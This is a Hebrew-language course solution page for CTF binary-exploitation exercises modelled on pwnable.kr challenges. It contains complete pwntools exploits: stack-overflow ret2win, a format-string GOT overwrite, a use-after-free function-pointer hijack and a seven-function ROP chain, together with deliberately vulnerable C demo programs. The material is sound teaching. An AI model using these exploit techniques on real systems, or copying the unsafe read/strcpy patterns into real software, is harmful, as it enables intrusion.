8.8 שירותי echo וheap משולב פתרון
פתרון - שירותי echo וheap משולב¶
נעבור אתגר אחרי אתגר עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להיות מעט שונות בין גרסאות מהדר וסביבות, אז תמיד תשלפו את הכתובות מהבינארי שלכם ולא תעתיקו עיוור. את הדמואים (echo1_demo, fsb_demo, dragon_demo, horcruxes_demo) לוקחים מקוד המקור שבהרצאה.
פתרון תרגיל 1 - echo1: הoverflow ל-ret2win¶
בדיקת ההגנות:
הדגל No canary אומר שהoverflow לא תיתפס. הדגל No PIE אומר שכתובת get_shell קבועה בכל הרצה. הדגל NX enabled אומר שלא נריץ shellcode אלא נקפוץ לקוד קיים. כלומר: ret2win.
כתובת הפונקציה המנצחת:
מציאת ה-offset עם cyclic. הbuffer הוא 32 בתים, ומעליו saved rbp של 8, כלומר צפוי 40 - אבל תמדדו:
from pwn import *
context.binary = ELF('./echo1_demo')
p = process()
p.sendlineafter(b'name: ', b'me')
p.sendlineafter(b'> ', b'1')
p.sendafter(b'echo> ', cyclic(120))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.rsp, 8))) # -> 40
ה-exploit המלא, עם גאדג'ט ret בודד לalignment מול system:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./echo1_demo')
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0] # stack alignment to 16 bytes
p = process()
p.sendlineafter(b'name: ', b'me')
p.sendlineafter(b'> ', b'1') # enter echo
payload = flat({40: [ret, elf.symbols['get_shell']]})
p.sendafter(b'echo> ', payload)
p.interactive()
הפלט, ואז shell:
אם היינו משמיטים את גאדג'ט ה-ret, היינו רואים קריסה קלאסית ב-gdb:
Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
למה זה עבד: הoverflow נתנה לנו שליטה ב-RIP, ומכיוון שיש get_shell בכתובת קבועה (No PIE), הפרימיטיב מתרגם ישירות ל-ret2win. גאדג'ט ה-ret יישר את rsp ל-16 בתים כדי ש-movaps בתוך do_system לא יקרוס. איך להכליל: בכל שירות echo/תפריט שמוביל לפונקציה עם overflow - זהו את הפונקציה המנצחת, מדדו offset, וקפצו. זה השלד המינימלי.
פתרון תרגיל 2 - echo2: format string כפרימיטיב כתיבה¶
קודם מוצאים את מיקום הקלט על המחסנית. שולחים סמן ידני:
ה-0x41414141 (שהם ה-AAAA שלנו) חוזר במיקום הרביעי אחרי הנקודה, אבל הספירה של fmtstr_payload היא לפי ארגומנטים, וכאן זה יוצא מיקום 6. הדרך הבטוחה: לתת ל-pwntools למצוא לבד עם FmtStr, או פשוט לנסות ולוודא שהכתיבה נחתה. נלך על דריסת ה-GOT של printf:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./fsb_demo')
offset = 6
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['get_shell']})
p = process()
p.sendafter(b'say> ', payload) # printf(buf) performs the write to the GOT
p.interactive() # the printf("\n") immediately after already jumps to get_shell
הפלט: אחרי שהpayload מודפס (עם קצת זבל של ה-format string), ה-printf הבא קורא דרך ה-GOT שנדרס ומגיע ל-get_shell - shell.
למה ה-shell נפתח רק ב-printf הבא ולא מיד: ה-printf(buf) הנוכחי הוא זה שמבצע את הכתיבה ל-GOT, אבל הוא כבר רץ כרגע ולא יקרא לעצמו מחדש דרך ה-GOT. רק הקריאה הבאה ל-printf (ה-"\n" שאחריו) עוברת דרך הכניסה שדרסנו ומגיעה ל-get_shell.
לגבי echo2 האמיתי: הbuffer מוקצה ב-malloc, כלומר מחרוזת הformat על ה-heap. הספציפייר %N$n יכול להתייחס רק לארגומנטים שעל המחסנית, אז אי אפשר להטמיע כתובת יעד בתוך המחרוזת ולכתוב אליה - הטריק של תרגיל זה לא עובד ישירות. הפתרון המשולב: משתמשים ב-format string כדי לleak כתובות שכבר יושבות על המחסנית (מצביעי stack או libc, עם %p), מחשבים בסיסים, ובחצי השני מנצלים את ה-UAF - משחררים את buffer ההודעה ומקצים אותו מחדש כדי לשתול מצביע נשלט למקום שהתוכנית קוראת לו. זו הדגמה של שני העקרונות: "לleak לפני שכותבים" ו"לנווט את מכונת המצבים" בסדר set/echo/free הנכון.
למה זה עבד: חולשת format string היא פרימיטיב קריאה-וכתיבה מלא. כשהמחרוזת על המחסנית, הכתיבה ישירה ופשוטה; כשהיא על ה-heap, מפרקים את המשימה - format string לleak, UAF למיחזור מבנה נשלט. איך להכליל: כל אימת שיש לכם format string, שאלו ראשית איפה נמצאת המחרוזת (stack או heap), כי זה קובע אם אתם יכולים לכתוב ישירות או צריכים לשלב באג נוסף.
פתרון תרגיל 3 - loveletter: הoverflow בשירות טקסט¶
שני בינארים לדוגמה, אחד עם read ואחד עם strcpy:
// lv_read.c gcc -fno-stack-protector -no-pie -o lv_read lv_read.c
#include <stdio.h>
#include <unistd.h>
void win() { puts("flag: FLAG{loveletter_read}"); }
void vuln() { char buf[64]; puts("letter>"); read(0, buf, 300); }
int main() { setvbuf(stdout,0,2,0); vuln(); return 0; }
// lv_strcpy.c gcc -fno-stack-protector -no-pie -o lv_strcpy lv_strcpy.c
#include <stdio.h>
#include <string.h>
void win() { puts("flag: FLAG{loveletter_strcpy}"); }
void vuln() { char buf[64]; char in[300]; puts("letter>");
fgets(in, sizeof(in), stdin); strcpy(buf, in); }
int main() { setvbuf(stdout,0,2,0); vuln(); return 0; }
התקיפה על שניהם היא ret2win (offset 72 בשניהם). ההבדל הוא בpayload המותר:
from pwn import *
e = ELF('./lv_read')
payload = flat({72: e.symbols['win']}) # win = 0x401156, contains a 0x00 byte
process('./lv_read').sendline(payload) # works: read passes raw bytes
עכשיו אותו דבר מול lv_strcpy. הכתובת 0x401156 מכילה בתים אפסיים (\x00\x00...), ו-strcpy עוצר ב-null הראשון. כלומר הpayload נחתם באמצע הreturn address ולא יגיע כמו שצריך. אם מריצים, רואים שהחזרה לא קורית או שהתוכנית קורסת עוד לפני שהגענו ל-win.
זה בדיוק הלקח של loveletter: אותה overflow, אבל סוג הקלט משנה הכל. עם read/fread מותרים כל הבתים כולל \x00, אז כתובות מלאות עוברות. עם strcpy/gets/scanf("%s") הקלט נקטע ב-null (או ברווח), ואז צריך לבחור גאדג'טים וכתובות בלי בתים אסורים, או להשתמש בטכניקות "בתים אסורים" מפרק 3.
למה זה עבד: הפרימיטיב (שליטה ב-RIP דרך overflow) זהה, אבל ערוץ ההעברה מגביל את הpayload. איך להכליל: לפני שבונים payload, בדקו איך הקלט נקרא - זה קובע אילו בתים שורדים את הדרך אל הbuffer.
פתרון תרגיל 4 - dragon: שימוש לאחר שחרור בתפריט משחק¶
בודקים גודל אובייקט. ב-dragon_demo המבנה הוא int hp ומצביע פונקציה, כלומר 8 בתים ב-32 ביט, שנופל למחלקת גודל של chunk 0x10. חשוב שה-loot יקצה בדיוק את הגודל הזה, כי המקצה מחזיר בלוק משוחרר רק לבקשה מאותה מחלקת גודל (LIFO). אם loot היה מקצה גודל אחר, היינו מקבלים chunk טרי ולא ממחזרים את monster.
כתובת הפונקציה המנצחת:
ה-exploit המלא:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./dragon_demo')
p = process()
p.sendlineafter(b'> ', b'1') # fight -> malloc(monster) then free(monster)
p.sendlineafter(b'> ', b'2') # loot -> malloc of the same size, recycles monster
p.send(p32(0xdead) + p32(elf.symbols['secret_level'])) # fake hp + fake attack
p.sendlineafter(b'> ', b'3') # taunt -> monster->attack() == secret_level
p.interactive()
הפלט:
מה קורה אם קוראים taunt לפני loot: אחרי ה-free ב-fight, המקצה כותב לתחילת הבלוק את מצביע ה-fd של רשימת הפנויים, וזה בדיוק המקום של השדות שלנו. monster->attack מכיל עכשיו זבל (או NULL), ו-taunt יקפוץ אליו - SIGSEGV. זו ההוכחה שהסדר free -> alloc-שממלא -> use הוא חובה: רק אחרי שמילאנו את הבלוק ב-loot, המצביע חזר להיות תקין (עם הערך שאנחנו בחרנו).
למה זה עבד: ה-UAF נתן לנו לכתוב לתוך אובייקט "חי" לכאורה שכבר שוחרר, והשדה שכתבנו הוא מצביע פונקציה שהתוכנית קוראת לו. איך להכליל: כל אובייקט עם מצביע פונקציה או vtable שמשוחרר ואז נקרא הוא חטיפת RIP - צריך רק למחזר אותו בהקצאה מאותו גודל ולשתול את הכתובת הרצויה. באתגר dragon האמיתי העבודה היא לזהות בreverse engineering את גודל האובייקטים ואת רצף המסלולים במשחק שמייצר את ה-free-ואז-use.
פתרון תרגיל 5 - horcruxes: הchain ROP של שבע פונקציות¶
כתובות שבע הפונקציות ופונקציית הבדיקה:
$ nm horcruxes_demo | grep -E ' [A-G]$| voldemort'
08049196 T A
080491bd T B
080491e4 T C
0804920b T D
08049232 T E
08049259 T F
08049280 T G
080492a7 T voldemort
ה-offset מהbuffer ב-ropme עד הreturn address, עם cyclic (buf בגודל 100, אבל תמדדו כי המהדר מיישר):
from pwn import *
context.binary = ELF('./horcruxes_demo')
p = process()
p.sendafter(b'secret : ', cyclic(200))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.esp, 4))) # -> 112
עכשיו ה-exploit המלא. הchain ROP שהיא פשוט רשימת שבע כתובות (בלי גאדג'טים - הפונקציות לא מקבלות ארגומנטים), ואיסוף שבעת הערכים המודפסים כדי לחשב את הסכום:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./horcruxes_demo')
def conn():
if args.REMOTE:
return remote('pwnable.kr', 9032) # example; match it to the real port
return process('./horcruxes_demo')
offset = 112
# chain: padding, then A..G in sequence, then the check function
chain = flat(
b'A' * offset,
elf.symbols['A'], elf.symbols['B'], elf.symbols['C'], elf.symbols['D'],
elf.symbols['E'], elf.symbols['F'], elf.symbols['G'],
elf.symbols['voldemort'],
)
p = conn()
p.recvuntil(b'secret : ')
p.sendline(chain)
# each of A..G printed its value - we collect and sum them
total = 0
for name in 'ABCDEFG':
line = p.recvline_contains(b'horcrux ' + name.encode())
val = int(line.split(b':')[1].strip())
total += val
log.info('%s = %d', name, val)
log.success('sum = %d', total)
p.recvuntil(b'earn? : ')
p.sendline(str(total).encode())
p.interactive()
מבנה הchain על המחסנית, כדי לראות למה זה מתנגן לבד:
low addresses (top of stack)
+-------------------+
| 'A' * 112 (padding)| <-- fills buf and saved ebp
+-------------------+
| &A | <-- ropme's ret jumps to A
+-------------------+
| &B | <-- A's ret jumps to B
+-------------------+
| &C | <-- B's ret jumps to C
+-------------------+
| &D |
+-------------------+
| &E |
+-------------------+
| &F |
+-------------------+
| &G | <-- F's ret jumps to G
+-------------------+
| &voldemort | <-- G's ret jumps to the check function
+-------------------+
high addresses
הפלט:
horcrux A : 41232
horcrux B : 5893
horcrux C : 60101
...
[+] sum = 231145
how many EXP did you earn? : Congratz! flag: FLAG{h0rcrux_r0p_7_functions}
$ id
uid=1000(user) ...
למה זה עבד: כל פונקציה void X(void) מסתיימת ב-ret שמוציא מהמחסנית את הכתובת הבאה, שהיא הפונקציה הבאה בchain - אז שרשור בלי ארגומנטים הוא רשימת כתובות פשוטה, בלי pop ובלי padding. הפונקציות עדכנו את הגלובלים והדליפו לנו את הערכים, ה-ret האחרון הגיע לפונקציה שמחשבת את הסכום, ומכיוון שאספנו את הערכים - שלחנו את הסכום המדויק. איך להכליל: כשצריך לקרוא לרצף פונקציות ללא ארגומנטים ב-32 ביט, פשוט שרשרו את כתובותיהן; זו הצורה הנקייה ביותר של ret2win מרובה.
לגבי horcruxes האמיתי: יש שני שינויים קטנים. ראשית, שולפים את הכתובות מהבינארי שעל השרת (הן שונות מהדמו). שנית, פונקציית הבדיקה היא לרוב חלק מ-ropme עצמה, אז החזרה האחרונה בchain היא לכתובת בתוך ropme - המקום שקורא את הניחוש ומשווה לסכום. מוצאים את הכתובת המדויקת הזו ב-gdb (מפרקים את ropme עם disassemble ropme ומאתרים את ה-call ל-scanf/הבדיקה), ושמים אותה במקום voldemort. כל השאר זהה.
פתרון תרגיל 6 (בונוס) - מהדמו לשרת האמיתי¶
ההתאמה לשרת בנויה כבר לתוך הפונקציה conn שלמעלה: python3 exploit.py רץ מקומית, python3 exploit.py REMOTE רץ מול remote(...). את הכתובות תמיד שולפים מעותק מקומי של אותו בינארי, כי על השרת אין core dump נוח.
סיכום שלושת השדות לכל אתגר, כמו שביקשנו בתרגיל:
| אתגר | הבאג | הפרימיטיב | הpayload |
|---|---|---|---|
| echo1 | הoverflow מחסנית ב-echo | שליטה ב-RIP | ret2win ל-get_shell |
| echo2 | format string + UAF | הleak וכתיבה שרירותית | דריסת GOT / מצביע נשלט |
| loveletter | הoverflow מחסנית בשירות טקסט | שליטה ב-RIP | ret2win / ROP (לפי הבתים המותרים) |
| dragon | UAF ובלבול טיפוסים | שליטה במצביע פונקציה | קפיצה ל-secret_level |
| horcruxes | הoverflow מחסנית ב-ropme | שליטה ב-RIP (chain) | ROP של 7 פונקציות ואז בדיקת סכום |
אם אתם יכולים למלא את שלושת השדות לכל אתגר בלי להסתכל - הפנמתם את השיטה. זה בדיוק מה שהשיעור הזה נועד ללמד: לא "פתרון" בעל פה, אלא פירוק שיטתי של כל אתגר לבאג, פרימיטיב וpayload, וניווט מכונת המצבים בסדר הנכון.